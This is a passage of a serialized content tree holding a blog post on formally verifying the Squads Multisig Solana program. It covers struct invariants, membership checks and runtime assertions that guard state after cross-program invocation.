type":31,"value":4988},{"type":25,"tag":201,"props":28914,"children":28915},{"style":214},[28916],{"type":31,"value":20972},{"type":25,"tag":201,"props":28918,"children":28919},{"style":220},[28920],{"type":31,"value":298},{"type":25,"tag":201,"props":28922,"children":28923},{"style":208},[28924],{"type":31,"value":15215},{"type":25,"tag":201,"props":28926,"children":28927},{"style":261},[28928],{"type":31,"value":80},{"type":25,"tag":201,"props":28930,"children":28931},{"style":220},[28932],{"type":31,"value":27573},{"type":25,"tag":201,"props":28934,"children":28935},{"class":203,"line":330},[28936,28941,28945,28949,28953,28957,28961,28965,28969,28973,28977,28981,28985,28989,28993,28997],{"type":25,"tag":201,"props":28937,"children":28938},{"style":208},[28939],{"type":31,"value":28940},"            self",{"type":25,"tag":201,"props":28942,"children":28943},{"style":261},[28944],{"type":31,"value":80},{"type":25,"tag":201,"props":28946,"children":28947},{"style":220},[28948],{"type":31,"value":22566},{"type":25,"tag":201,"props":28950,"children":28951},{"style":261},[28952],{"type":31,"value":1383},{"type":25,"tag":201,"props":28954,"children":28955},{"style":208},[28956],{"type":31,"value":15299},{"type":25,"tag":201,"props":28958,"children":28959},{"style":261},[28960],{"type":31,"value":80},{"type":25,"tag":201,"props":28962,"children":28963},{"style":220},[28964],{"type":31,"value":22478},{"type":25,"tag":201,"props":28966,"children":28967},{"style":261},[28968],{"type":31,"value":80},{"type":25,"tag":201,"props":28970,"children":28971},{"style":214},[28972],{"type":31,"value":10643},{"type":25,"tag":201,"props":28974,"children":28975},{"style":220},[28976],{"type":31,"value":15381},{"type":25,"tag":201,"props":28978,"children":28979},{"style":261},[28980],{"type":31,"value":80},{"type":25,"tag":201,"props":28982,"children":28983},{"style":214},[28984],{"type":31,"value":27646},{"type":25,"tag":201,"props":28986,"children":28987},{"style":220},[28988],{"type":31,"value":15381},{"type":25,"tag":201,"props":28990,"children":28991},{"style":261},[28992],{"type":31,"value":80},{"type":25,"tag":201,"props":28994,"children":28995},{"style":214},[28996],{"type":31,"value":5170},{"type":25,"tag":201,"props":28998,"children":28999},{"style":220},[29000],{"type":31,"value":1985},{"type":25,"tag":201,"props":29002,"children":29003},{"class":203,"line":397},[29004],{"type":25,"tag":201,"props":29005,"children":29006},{"style":220},[29007],{"type":31,"value":4853},{"type":25,"tag":201,"props":29009,"children":29010},{"class":203,"line":437},[29011],{"type":25,"tag":201,"props":29012,"children":29013},{"style":220},[29014],{"type":31,"value":4861},{"type":25,"tag":201,"props":29016,"children":29017},{"class":203,"line":464},[29018,29022],{"type":25,"tag":201,"props":29019,"children":29020},{"style":4925},[29021],{"type":31,"value":15835},{"type":25,"tag":201,"props":29023,"children":29024},{"style":220},[29025],{"type":31,"value":15840},{"type":25,"tag":201,"props":29027,"children":29028},{"class":203,"line":490},[29029],{"type":25,"tag":201,"props":29030,"children":29031},{"style":220},[29032],{"type":31,"value":1187},{"type":25,"tag":34,"props":29034,"children":29035},{},[29036,29038,29043,29045,29051,29053,29059,29061,29066],{"type":31,"value":29037},"Inside ",{"type":25,"tag":115,"props":29039,"children":29041},{"className":29040},[],[29042],{"type":31,"value":28697},{"type":31,"value":29044},", we see that it performs a ",{"type":25,"tag":115,"props":29046,"children":29048},{"className":29047},[],[29049],{"type":31,"value":29050},"binary_search",{"type":31,"value":29052}," on the keys vec and returns the index or ",{"type":25,"tag":115,"props":29054,"children":29056},{"className":29055},[],[29057],{"type":31,"value":29058},"None",{"type":31,"value":29060},". Since the vec has size zero, this will just return ",{"type":25,"tag":115,"props":29062,"children":29064},{"className":29063},[],[29065],{"type":31,"value":29058},{"type":31,"value":80},{"type":25,"tag":191,"props":29068,"children":29070},{"code":29069,"language":4486,"meta":7,"className":4487,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[29071],{"type":25,"tag":115,"props":29072,"children":29073},{"__ignoreMap":7},[29074,29143,29186,29225,29247,29254],{"type":25,"tag":201,"props":29075,"children":29076},{"class":203,"line":204},[29077,29081,29085,29090,29094,29098,29102,29106,29110,29114,29118,29122,29126,29131,29135,29139],{"type":25,"tag":201,"props":29078,"children":29079},{"style":208},[29080],{"type":31,"value":15192},{"type":25,"tag":201,"props":29082,"children":29083},{"style":208},[29084],{"type":31,"value":15197},{"type":25,"tag":201,"props":29086,"children":29087},{"style":214},[29088],{"type":31,"value":29089}," is_member",{"type":25,"tag":201,"props":29091,"children":29092},{"style":220},[29093],{"type":31,"value":298},{"type":25,"tag":201,"props":29095,"children":29096},{"style":261},[29097],{"type":31,"value":4615},{"type":25,"tag":201,"props":29099,"children":29100},{"style":208},[29101],{"type":31,"value":15215},{"type":25,"tag":201,"props":29103,"children":29104},{"style":220},[29105],{"type":31,"value":919},{"type":25,"tag":201,"props":29107,"children":29108},{"style":246},[29109],{"type":31,"value":28753},{"type":25,"tag":201,"props":29111,"children":29112},{"style":261},[29113],{"type":31,"value":5997},{"type":25,"tag":201,"props":29115,"children":29116},{"style":4925},[29117],{"type":31,"value":22352},{"type":25,"tag":201,"props":29119,"children":29120},{"style":220},[29121],{"type":31,"value":385},{"type":25,"tag":201,"props":29123,"children":29124},{"style":261},[29125],{"type":31,"value":15259},{"type":25,"tag":201,"props":29127,"children":29128},{"style":4925},[29129],{"type":31,"value":29130}," Option",{"type":25,"tag":201,"props":29132,"children":29133},{"style":220},[29134],{"type":31,"value":1298},{"type":25,"tag":201,"props":29136,"children":29137},{"style":4925},[29138],{"type":31,"value":18097},{"type":25,"tag":201,"props":29140,"children":29141},{"style":220},[29142],{"type":31,"value":8790},{"type":25,"tag":201,"props":29144,"children":29145},{"class":203,"line":226},[29146,29150,29154,29158,29162,29166,29170,29174,29178,29182],{"type":25,"tag":201,"props":29147,"children":29148},{"style":230},[29149],{"type":31,"value":16254},{"type":25,"tag":201,"props":29151,"children":29152},{"style":208},[29153],{"type":31,"value":15299},{"type":25,"tag":201,"props":29155,"children":29156},{"style":261},[29157],{"type":31,"value":80},{"type":25,"tag":201,"props":29159,"children":29160},{"style":220},[29161],{"type":31,"value":22478},{"type":25,"tag":201,"props":29163,"children":29164},{"style":261},[29165],{"type":31,"value":80},{"type":25,"tag":201,"props":29167,"children":29168},{"style":214},[29169],{"type":31,"value":29050},{"type":25,"tag":201,"props":29171,"children":29172},{"style":220},[29173],{"type":31,"value":298},{"type":25,"tag":201,"props":29175,"children":29176},{"style":261},[29177],{"type":31,"value":4615},{"type":25,"tag":201,"props":29179,"children":29180},{"style":246},[29181],{"type":31,"value":28753},{"type":25,"tag":201,"props":29183,"children":29184},{"style":220},[29185],{"type":31,"value":275},{"type":25,"tag":201,"props":29187,"children":29188},{"class":203,"line":278},[29189,29193,29197,29201,29205,29209,29213,29217,29221],{"type":25,"tag":201,"props":29190,"children":29191},{"style":4925},[29192],{"type":31,"value":16312},{"type":25,"tag":201,"props":29194,"children":29195},{"style":220},[29196],{"type":31,"value":298},{"type":25,"tag":201,"props":29198,"children":29199},{"style":246},[29200],{"type":31,"value":28803},{"type":25,"tag":201,"props":29202,"children":29203},{"style":220},[29204],{"type":31,"value":385},{"type":25,"tag":201,"props":29206,"children":29207},{"style":261},[29208],{"type":31,"value":390},{"type":25,"tag":201,"props":29210,"children":29211},{"style":4925},[29212],{"type":31,"value":28794},{"type":25,"tag":201,"props":29214,"children":29215},{"style":220},[29216],{"type":31,"value":298},{"type":25,"tag":201,"props":29218,"children":29219},{"style":246},[29220],{"type":31,"value":28803},{"type":25,"tag":201,"props":29222,"children":29223},{"style":220},[29224],{"type":31,"value":8245},{"type":25,"tag":201,"props":29226,"children":29227},{"class":203,"line":311},[29228,29233,29238,29243],{"type":25,"tag":201,"props":29229,"children":29230},{"style":246},[29231],{"type":31,"value":29232},"        _",{"type":25,"tag":201,"props":29234,"children":29235},{"style":261},[29236],{"type":31,"value":29237}," =>",{"type":25,"tag":201,"props":29239,"children":29240},{"style":4925},[29241],{"type":31,"value":29242}," None",{"type":25,"tag":201,"props":29244,"children":29245},{"style":220},[29246],{"type":31,"value":547},{"type":25,"tag":201,"props":29248,"children":29249},{"class":203,"line":330},[29250],{"type":25,"tag":201,"props":29251,"children":29252},{"style":220},[29253],{"type":31,"value":4861},{"type":25,"tag":201,"props":29255,"children":29256},{"class":203,"line":397},[29257],{"type":25,"tag":201,"props":29258,"children":29259},{"style":220},[29260],{"type":31,"value":1187},{"type":25,"tag":34,"props":29262,"children":29263},{},[29264,29266,29271,29273,29278,29280,29285,29287,29292],{"type":31,"value":29265},"So interestingly, a ",{"type":25,"tag":115,"props":29267,"children":29269},{"className":29268},[],[29270],{"type":31,"value":22478},{"type":31,"value":29272}," vec of size 0 ",{"type":25,"tag":65,"props":29274,"children":29275},{},[29276],{"type":31,"value":29277},"is actually",{"type":31,"value":29279}," a sufficient condition to execute ",{"type":25,"tag":115,"props":29281,"children":29283},{"className":29282},[],[29284],{"type":31,"value":26951},{"type":31,"value":29286},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":25,"tag":65,"props":29288,"children":29289},{},[29290],{"type":31,"value":29291},"valid",{"type":31,"value":29293}," multisig, the number of keys should never be zero.",{"type":25,"tag":34,"props":29295,"children":29296},{},[29297,29299,29304],{"type":31,"value":29298},"We can represent this ",{"type":25,"tag":65,"props":29300,"children":29301},{},[29302],{"type":31,"value":29303},"validity",{"type":31,"value":29305}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":25,"tag":191,"props":29307,"children":29309},{"code":29308,"language":4486,"meta":7,"className":4487,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29310],{"type":25,"tag":115,"props":29311,"children":29312},{"__ignoreMap":7},[29313,29320,29343,29394,29401],{"type":25,"tag":201,"props":29314,"children":29315},{"class":203,"line":204},[29316],{"type":25,"tag":201,"props":29317,"children":29318},{"style":220},[29319],{"type":31,"value":22273},{"type":25,"tag":201,"props":29321,"children":29322},{"class":203,"line":226},[29323,29327,29331,29335,29339],{"type":25,"tag":201,"props":29324,"children":29325},{"style":220},[29326],{"type":31,"value":26215},{"type":25,"tag":201,"props":29328,"children":29329},{"style":261},[29330],{"type":31,"value":80},{"type":25,"tag":201,"props":29332,"children":29333},{"style":220},[29334],{"type":31,"value":22566},{"type":25,"tag":201,"props":29336,"children":29337},{"style":261},[29338],{"type":31,"value":11446},{"type":25,"tag":201,"props":29340,"children":29341},{"style":220},[29342],{"type":31,"value":22575},{"type":25,"tag":201,"props":29344,"children":29345},{"class":203,"line":278},[29346,29350,29354,29358,29362,29366,29370,29374,29378,29382,29386,29390],{"type":25,"tag":201,"props":29347,"children":29348},{"style":261},[29349],{"type":31,"value":17117},{"type":25,"tag":201,"props":29351,"children":29352},{"style":220},[29353],{"type":31,"value":22499},{"type":25,"tag":201,"props":29355,"children":29356},{"style":261},[29357],{"type":31,"value":80},{"type":25,"tag":201,"props":29359,"children":29360},{"style":220},[29361],{"type":31,"value":22566},{"type":25,"tag":201,"props":29363,"children":29364},{"style":208},[29365],{"type":31,"value":10349},{"type":25,"tag":201,"props":29367,"children":29368},{"style":4925},[29369],{"type":31,"value":15233},{"type":25,"tag":201,"props":29371,"children":29372},{"style":261},[29373],{"type":31,"value":9705},{"type":25,"tag":201,"props":29375,"children":29376},{"style":220},[29377],{"type":31,"value":15299},{"type":25,"tag":201,"props":29379,"children":29380},{"style":261},[29381],{"type":31,"value":80},{"type":25,"tag":201,"props":29383,"children":29384},{"style":220},[29385],{"type":31,"value":22478},{"type":25,"tag":201,"props":29387,"children":29388},{"style":261},[29389],{"type":31,"value":80},{"type":25,"tag":201,"props":29391,"children":29392},{"style":220},[29393],{"type":31,"value":22627},{"type":25,"tag":201,"props":29395,"children":29396},{"class":203,"line":311},[29397],{"type":25,"tag":201,"props":29398,"children":29399},{"style":220},[29400],{"type":31,"value":21755},{"type":25,"tag":201,"props":29402,"children":29403},{"class":203,"line":330},[29404,29408,29412,29416,29420,29424],{"type":25,"tag":201,"props":29405,"children":29406},{"style":208},[29407],{"type":31,"value":15192},{"type":25,"tag":201,"props":29409,"children":29410},{"style":208},[29411],{"type":31,"value":22646},{"type":25,"tag":201,"props":29413,"children":29414},{"style":4925},[29415],{"type":31,"value":22651},{"type":25,"tag":201,"props":29417,"children":29418},{"style":220},[29419],{"type":31,"value":11090},{"type":25,"tag":201,"props":29421,"children":29422},{"style":261},[29423],{"type":31,"value":11095},{"type":25,"tag":201,"props":29425,"children":29426},{"style":220},[29427],{"type":31,"value":11100},{"type":25,"tag":34,"props":29429,"children":29430},{},[29431,29433,29439,29441,29447],{"type":31,"value":29432},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":25,"tag":115,"props":29434,"children":29436},{"className":29435},[],[29437],{"type":31,"value":29438},"keys.len() == 0",{"type":31,"value":29440}," and allows us to prove the biconditional ",{"type":25,"tag":115,"props":29442,"children":29444},{"className":29443},[],[29445],{"type":31,"value":29446},"(keys.len() >= 1) -> (instruction succeeds)",{"type":31,"value":80},{"type":25,"tag":40,"props":29449,"children":29451},{"id":29450},"safety-guarantees",[29452],{"type":31,"value":24280},{"type":25,"tag":34,"props":29454,"children":29455},{},[29456],{"type":31,"value":29457},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":25,"tag":34,"props":29459,"children":29460},{},[29461],{"type":31,"value":29462},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":25,"tag":34,"props":29464,"children":29465},{},[29466,29468,29474],{"type":31,"value":29467},"In the multisig program this happens in the ",{"type":25,"tag":115,"props":29469,"children":29471},{"className":29470},[],[29472],{"type":31,"value":29473},"execute_transaction",{"type":31,"value":29475}," instruction.",{"type":25,"tag":34,"props":29477,"children":29478},{},[29479],{"type":25,"tag":65,"props":29480,"children":29481},{},[29482],{"type":31,"value":29483},"So what do you do?",{"type":25,"tag":34,"props":29485,"children":29486},{},[29487],{"type":31,"value":29488},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":25,"tag":191,"props":29490,"children":29492},{"code":29491,"language":4486,"meta":7,"className":4487,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[29493],{"type":25,"tag":115,"props":29494,"children":29495},{"__ignoreMap":7},[29496,29511,29527,29542,29583,29590,29597,29604,29621,29637,29658,29665,29672,29688,29708,29736,29743,29750,29757,29765,29818,29844,29851,29880,29904,29939,29946,29957],{"type":25,"tag":201,"props":29497,"children":29498},{"class":203,"line":204},[29499,29503,29507],{"type":25,"tag":201,"props":29500,"children":29501},{"style":220},[29502],{"type":31,"value":24333},{"type":25,"tag":201,"props":29504,"children":29505},{"style":4925},[29506],{"type":31,"value":24338},{"type":25,"tag":201,"props":29508,"children":29509},{"style":220},[29510],{"type":31,"value":21755},{"type":25,"tag":201,"props":29512,"children":29513},{"class":203,"line":226},[29514,29518,29523],{"type":25,"tag":201,"props":29515,"children":29516},{"style":208},[29517],{"type":31,"value":15192},{"type":25,"tag":201,"props":29519,"children":29520},{"style":4925},[29521],{"type":31,"value":29522}," MyCtx",{"type":25,"tag":201,"props":29524,"children":29525},{"style":220},[29526],{"type":31,"value":327},{"type":25,"tag":201,"props":29528,"children":29529},{"class":203,"line":278},[29530,29534,29538],{"type":25,"tag":201,"props":29531,"children":29532},{"style":220},[29533],{"type":31,"value":24623},{"type":25,"tag":201,"props":29535,"children":29536},{"style":208},[29537],{"type":31,"value":5228},{"type":25,"tag":201,"props":29539,"children":29540},{"style":220},[29541],{"type":31,"value":21755},{"type":25,"tag":201,"props":29543,"children":29544},{"class":203,"line":311},[29545,29549,29554,29558,29562,29566,29570,29574,29579],{"type":25,"tag":201,"props":29546,"children":29547},{"style":208},[29548],{"type":31,"value":22338},{"type":25,"tag":201,"props":29550,"children":29551},{"style":246},[29552],{"type":31,"value":29553}," my_account",{"type":25,"tag":201,"props":29555,"children":29556},{"style":261},[29557],{"type":31,"value":5997},{"type":25,"tag":201,"props":29559,"children":29560},{"style":4925},[29561],{"type":31,"value":24588},{"type":25,"tag":201,"props":29563,"children":29564},{"style":220},[29565],{"type":31,"value":24418},{"type":25,"tag":201,"props":29567,"children":29568},{"style":4925},[29569],{"type":31,"value":24423},{"type":25,"tag":201,"props":29571,"children":29572},{"style":220},[29573],{"type":31,"value":919},{"type":25,"tag":201,"props":29575,"children":29576},{"style":4925},[29577],{"type":31,"value":29578},"Acc",{"type":25,"tag":201,"props":29580,"children":29581},{"style":220},[29582],{"type":31,"value":1308},{"type":25,"tag":201,"props":29584,"children":29585},{"class":203,"line":330},[29586],{"type":25,"tag":201,"props":29587,"children":29588},{"style":220},[29589],{"type":31,"value":1187},{"type":25,"tag":201,"props":29591,"children":29592},{"class":203,"line":397},[29593],{"type":25,"tag":201,"props":29594,"children":29595},{"emptyLinePlaceholder":17},[29596],{"type":31,"value":496},{"type":25,"tag":201,"props":29598,"children":29599},{"class":203,"line":437},[29600],{"type":25,"tag":201,"props":29601,"children":29602},{"style":220},[29603],{"type":31,"value":22265},{"type":25,"tag":201,"props":29605,"children":29606},{"class":203,"line":464},[29607,29612,29616],{"type":25,"tag":201,"props":29608,"children":29609},{"style":220},[29610],{"type":31,"value":29611},"#[invariant(bad ",{"type":25,"tag":201,"props":29613,"children":29614},{"style":261},[29615],{"type":31,"value":10083},{"type":25,"tag":201,"props":29617,"children":29618},{"style":220},[29619],{"type":31,"value":29620}," false)]\n",{"type":25,"tag":201,"props":29622,"children":29623},{"class":203,"line":490},[29624,29628,29633],{"type":25,"tag":201,"props":29625,"children":29626},{"style":208},[29627],{"type":31,"value":10905},{"type":25,"tag":201,"props":29629,"children":29630},{"style":4925},[29631],{"type":31,"value":29632}," Acc",{"type":25,"tag":201,"props":29634,"children":29635},{"style":220},[29636],{"type":31,"value":327},{"type":25,"tag":201,"props":29638,"children":29639},{"class":203,"line":499},[29640,29644,29649,29653],{"type":25,"tag":201,"props":29641,"children":29642},{"style":208},[29643],{"type":31,"value":22338},{"type":25,"tag":201,"props":29645,"children":29646},{"style":246},[29647],{"type":31,"value":29648}," bad",{"type":25,"tag":201,"props":29650,"children":29651},{"style":261},[29652],{"type":31,"value":5997},{"type":25,"tag":201,"props":29654,"children":29655},{"style":4925},[29656],{"type":31,"value":29657}," bool\n",{"type":25,"tag":201,"props":29659,"children":29660},{"class":203,"line":522},[29661],{"type":25,"tag":201,"props":29662,"children":29663},{"style":220},[29664],{"type":31,"value":1187},{"type":25,"tag":201,"props":29666,"children":29667},{"class":203,"line":531},[29668],{"type":25,"tag":201,"props":29669,"children":29670},{"emptyLinePlaceholder":17},[29671],{"type":31,"value":496},{"type":25,"tag":201,"props":29673,"children":29674},{"class":203,"line":550},[29675,29680,29684],{"type":25,"tag":201,"props":29676,"children":29677},{"style":208},[29678],{"type":31,"value":29679},"impl",{"type":25,"tag":201,"props":29681,"children":29682},{"style":4925},[29683],{"type":31,"value":29632},{"type":25,"tag":201,"props":29685,"children":29686},{"style":220},[29687],{"type":31,"value":327},{"type":25,"tag":201,"props":29689,"children":29690},{"class":203,"line":563},[29691,29695,29699,29704],{"type":25,"tag":201,"props":29692,"children":29693},{"style":208},[29694],{"type":31,"value":22338},{"type":25,"tag":201,"props":29696,"children":29697},{"style":208},[29698],{"type":31,"value":15197},{"type":25,"tag":201,"props":29700,"children":29701},{"style":214},[29702],{"type":31,"value":29703}," put_into_bad_state",{"type":25,"tag":201,"props":29705,"children":29706},{"style":220},[29707],{"type":31,"value":223},{"type":25,"tag":201,"props":29709,"children":29710},{"class":203,"line":572},[29711,29715,29719,29724,29728,29732],{"type":25,"tag":201,"props":29712,"children":29713},{"style":208},[29714],{"type":31,"value":28844},{"type":25,"tag":201,"props":29716,"children":29717},{"style":261},[29718],{"type":31,"value":80},{"type":25,"tag":201,"props":29720,"children":29721},{"style":220},[29722],{"type":31,"value":29723},"bad ",{"type":25,"tag":201,"props":29725,"children":29726},{"style":261},[29727],{"type":31,"value":1383},{"type":25,"tag":201,"props":29729,"children":29730},{"style":208},[29731],{"type":31,"value":13971},{"type":25,"tag":201,"props":29733,"children":29734},{"style":220},[29735],{"type":31,"value":461},{"type":25,"tag":201,"props":29737,"children":29738},{"class":203,"line":590},[29739],{"type":25,"tag":201,"props":29740,"children":29741},{"style":220},[29742],{"type":31,"value":4861},{"type":25,"tag":201,"props":29744,"children":29745},{"class":203,"line":608},[29746],{"type":25,"tag":201,"props":29747,"children":29748},{"style":220},[29749],{"type":31,"value":1187},{"type":25,"tag":201,"props":29751,"children":29752},{"class":203,"line":617},[29753],{"type":25,"tag":201,"props":29754,"children":29755},{"emptyLinePlaceholder":17},[29756],{"type":31,"value":496},{"type":25,"tag":201,"props":29758,"children":29759},{"class":203,"line":625},[29760],{"type":25,"tag":201,"props":29761,"children":29762},{"style":4497},[29763],{"type":31,"value":29764},"// Instruction handler:\n",{"type":25,"tag":201,"props":29766,"children":29767},{"class":203,"line":642},[29768,29772,29777,29781,29785,29789,29793,29797,29802,29806,29810,29814],{"type":25,"tag":201,"props":29769,"children":29770},{"style":208},[29771],{"type":31,"value":21763},{"type":25,"tag":201,"props":29773,"children":29774},{"style":214},[29775],{"type":31,"value":29776}," hard_to_verify",{"type":25,"tag":201,"props":29778,"children":29779},{"style":220},[29780],{"type":31,"value":298},{"type":25,"tag":201,"props":29782,"children":29783},{"style":246},[29784],{"type":31,"value":21777},{"type":25,"tag":201,"props":29786,"children":29787},{"style":261},[29788],{"type":31,"value":5997},{"type":25,"tag":201,"props":29790,"children":29791},{"style":4925},[29792],{"type":31,"value":21786},{"type":25,"tag":201,"props":29794,"children":29795},{"style":220},[29796],{"type":31,"value":1298},{"type":25,"tag":201,"props":29798,"children":29799},{"style":4925},[29800],{"type":31,"value":29801},"MyCtx",{"type":25,"tag":201,"props":29803,"children":29804},{"style":220},[29805],{"type":31,"value":21943},{"type":25,"tag":201,"props":29807,"children":29808},{"style":261},[29809],{"type":31,"value":15259},{"type":25,"tag":201,"props":29811,"children":29812},{"style":4925},[29813],{"type":31,"value":15264},{"type":25,"tag":201,"props":29815,"children":29816},{"style":220},[29817],{"type":31,"value":21828},{"type":25,"tag":201,"props":29819,"children":29820},{"class":203,"line":659},[29821,29826,29830,29834,29839],{"type":25,"tag":201,"props":29822,"children":29823},{"style":214},[29824],{"type":31,"value":29825},"    invoke_signed",{"type":25,"tag":201,"props":29827,"children":29828},{"style":220},[29829],{"type":31,"value":298},{"type":25,"tag":201,"props":29831,"children":29832},{"style":261},[29833],{"type":31,"value":11095},{"type":25,"tag":201,"props":29835,"children":29836},{"style":220},[29837],{"type":31,"value":29838},"); ",{"type":25,"tag":201,"props":29840,"children":29841},{"style":4497},[29842],{"type":31,"value":29843},"// Cross-program invocation\n",{"type":25,"tag":201,"props":29845,"children":29846},{"class":203,"line":667},[29847],{"type":25,"tag":201,"props":29848,"children":29849},{"emptyLinePlaceholder":17},[29850],{"type":31,"value":496},{"type":25,"tag":201,"props":29852,"children":29853},{"class":203,"line":676},[29854,29858,29863,29867,29871,29875],{"type":25,"tag":201,"props":29855,"children":29856},{"style":208},[29857],{"type":31,"value":4508},{"type":25,"tag":201,"props":29859,"children":29860},{"style":246},[29861],{"type":31,"value":29862}," invoke_res",{"type":25,"tag":201,"props":29864,"children":29865},{"style":261},[29866],{"type":31,"value":413},{"type":25,"tag":201,"props":29868,"children":29869},{"style":261},[29870],{"type":31,"value":26785},{"type":25,"tag":201,"props":29872,"children":29873},{"style":220},[29874],{"type":31,"value":18723},{"type":25,"tag":201,"props":29876,"children":29877},{"style":4497},[29878],{"type":31,"value":29879},"// fetch result of invocation\n",{"type":25,"tag":201,"props":29881,"children":29882},{"class":203,"line":694},[29883,29887,29891,29895,29900],{"type":25,"tag":201,"props":29884,"children":29885},{"style":230},[29886],{"type":31,"value":13781},{"type":25,"tag":201,"props":29888,"children":29889},{"style":246},[29890],{"type":31,"value":29862},{"type":25,"tag":201,"props":29892,"children":29893},{"style":261},[29894],{"type":31,"value":4789},{"type":25,"tag":201,"props":29896,"children":29897},{"style":426},[29898],{"type":31,"value":29899}," 5",{"type":25,"tag":201,"props":29901,"children":29902},{"style":220},[29903],{"type":31,"value":327},{"type":25,"tag":201,"props":29905,"children":29906},{"class":203,"line":707},[29907,29911,29915,29920,29924,29929,29934],{"type":25,"tag":201,"props":29908,"children":29909},{"style":246},[29910],{"type":31,"value":27670},{"type":25,"tag":201,"props":29912,"children":29913},{"style":261},[29914],{"type":31,"value":80},{"type":25,"tag":201,"props":29916,"children":29917},{"style":220},[29918],{"type":31,"value":29919},"my_account",{"type":25,"tag":201,"props":29921,"children":29922},{"style":261},[29923],{"type":31,"value":80},{"type":25,"tag":201,"props":29925,"children":29926},{"style":214},[29927],{"type":31,"value":29928},"put_into_bad_state",{"type":25,"tag":201,"props":29930,"children":29931},{"style":220},[29932],{"type":31,"value":29933},"(); ",{"type":25,"tag":201,"props":29935,"children":29936},{"style":4497},[29937],{"type":31,"value":29938},"// corrupt our account\n",{"type":25,"tag":201,"props":29940,"children":29941},{"class":203,"line":715},[29942],{"type":25,"tag":201,"props":29943,"children":29944},{"style":220},[29945],{"type":31,"value":4861},{"type":25,"tag":201,"props":29947,"children":29948},{"class":203,"line":732},[29949,29953],{"type":25,"tag":201,"props":29950,"children":29951},{"style":4925},[29952],{"type":31,"value":15835},{"type":25,"tag":201,"props":29954,"children":29955},{"style":220},[29956],{"type":31,"value":15840},{"type":25,"tag":201,"props":29958,"children":29959},{"class":203,"line":749},[29960],{"type":25,"tag":201,"props":29961,"children":29962},{"style":220},[29963],{"type":31,"value":1187},{"type":25,"tag":34,"props":29965,"children":29966},{},[29967,29969,29974],{"type":31,"value":29968},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":25,"tag":115,"props":29970,"children":29972},{"className":29971},[],[29973],{"type":31,"value":29919},{"type":31,"value":29975},") will be maintained as long as the instruction succeeds.",{"type":25,"tag":34,"props":29977,"children":29978},{},[29979],{"type":31,"value":29980},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":25,"tag":34,"props":29982,"children":29983},{},[29984,29986,29991],{"type":31,"value":29985},"However, we can ",{"type":25,"tag":65,"props":29987,"children":29988},{},[29989],{"type":31,"value":29990},"augment",{"type":31,"value":29992}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":25,"tag":34,"props":29994,"children":29995},{},[29996],{"type":31,"value":29997},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":25,"tag":191,"props":29999,"children":30001},{"code":30000,"language":4486,"meta":7,"className":4487,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[30002],{"type":25,"tag":115,"props":30003,"children":30004},{"__ignoreMap":7},[30005,30013,30064,30087,30094,30121,30144,30175,30182,30189,30197,30232,30239,30250],{"type":25,"tag":201,"props":30006,"children":30007},{"class":203,"line":204},[30008],{"type":25,"tag":201,"props":30009,"children":30010},{"style":261},[30011],{"type":31,"value":30012},"...\n",{"type":25,"tag":201,"props":30014,"children":30015},{"class":203,"line":226},[30016,30020,30024,30028,30032,30036,30040,30044,30048,30052,30056,30060],{"type":25,"tag":201,"props":30017,"children":30018},{"style":208},[30019],{"type":31,"value":21763},{"type":25,"tag":201,"props":30021,"children":30022},{"style":214},[30023],{"type":31,"value":29776},{"type":25,"tag":201,"props":30025,"children":30026},{"style":220},[30027],{"type":31,"value":298},{"type":25,"tag":201,"props":30029,"children":30030},{"style":246},[30031],{"type":31,"value":21777},{"type":25,"tag":201,"props":30033,"children":30034},{"style":261},[30035],{"type":31,"value":5997},{"type":25,"tag":201,"props":30037,"children":30038},{"style":4925},[30039],{"type":31,"value":21786},{"type":25,"tag":201,"props":30041,"children":30042},{"style":220},[30043],{"type":31,"value":1298},{"type":25,"tag":201,"props":30045,"children":30046},{"style":4925},[30047],{"type":31,"value":29801},{"type":25,"tag":201,"props":30049,"children":30050},{"style":220},[30051],{"type":31,"value":21943},{"type":25,"tag":201,"props":30053,"children":30054},{"style":261},[30055],{"type":31,"value":15259},{"type":25,"tag":201,"props":30057,"children":30058},{"style":4925},[30059],{"type":31,"value":15264},{"type":25,"tag":201,"props":30061,"children":30062},{"style":220},[30063],{"type":31,"value":21828},{"type":25,"tag":201,"props":30065,"children":30066},{"class":203,"line":278},[30067,30071,30075,30079,30083],{"type":25,"tag":201,"props":30068,"children":30069},{"style":214},[30070],{"type":31,"value":29825},{"type":25,"tag":201,"props":30072,"children":30073},{"style":220},[30074],{"type":31,"value":298},{"